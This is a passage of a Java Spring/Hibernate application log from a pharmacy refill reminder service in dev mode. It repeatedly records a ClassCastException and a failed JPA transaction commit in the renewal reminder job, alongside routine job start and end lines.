com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 